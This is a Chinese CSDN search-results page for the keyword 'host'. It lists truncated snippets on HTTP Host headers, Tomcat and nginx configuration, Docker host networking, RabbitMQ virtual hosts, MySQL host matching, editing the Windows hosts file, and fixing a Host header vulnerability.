  • 由于之前对Request请求头中的host理解不充分,所以在此篇都Request头的相关只是进行补充 https://blog.csdn.net/Smart_look/article/details/105168731【Request和Response的解释在这里就不过多解释了】 一、host...
  • tomcat的Server.xml详解和Host的配置

    万次阅读 2018-06-20 22:03:51
    基于以下说法的领悟:若只配appBase,不配Context 的docBase(appBase和docBase二选一就可以...host appBase="d:/aaa"&gt;&lt;Context path="/smswap" reloadable="true" docB...
  • Docker 初探Docker的网络模式之host模式

    千次阅读 2020-08-07 17:14:30
    (用的是宿主机的IP,也就是和宿主机共用一个IP地址,host模式不需要加-p进行端口映射,因为和宿主机共享网络IP和端口) 连接到 host 网络的容器共享 Docker host 的网络栈,容器的网络配置与 host 完全一样。...
  • 文章目录RabbitMq 虚拟主机 virtual-host ,Springboot 中使用 RabbitMq 虚拟主机 virtual-host1、在RabbitMQ 控制台中创建虚拟主机2、创建一个用户3、把用户分配给虚拟主机4、在Springboot 项目中指定连接时,连接...
  • --连接数据库时,host和user的匹配规则 官方文档:...--是host为明确的最先匹配,host带%模糊的时候最后匹配,但host为''(空)位于%之后才匹配 --相同的host时候,比较user为明确的最先匹配,us...
  • 如何修改自己电脑host文件

    千次阅读 2019-10-26 22:05:37
    C:\Windows\System32\drivers\etc 修改host文件 映射本地IP
  • 先来看下proxy_set_header的语法 语法: proxy_set_headerfieldvalue;...proxy_set_header Host $proxy_host; proxy_set_header Connection close; 上下文: http,server,location 允许重新定义...
  • host头攻击漏洞修复方案

    千次阅读 2020-03-28 18:26:55
    检测到目标URL存在http host头攻击漏洞 简介 绿盟科技扫描到网站存在http host头攻击漏洞,需要对该漏洞进行修复,网站后台是用java写的,对于这种host头攻击的方式,有很多种方式避免。 如从源头考虑的话,一般网站...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,906,207
精华内容 762,482
关键字:

host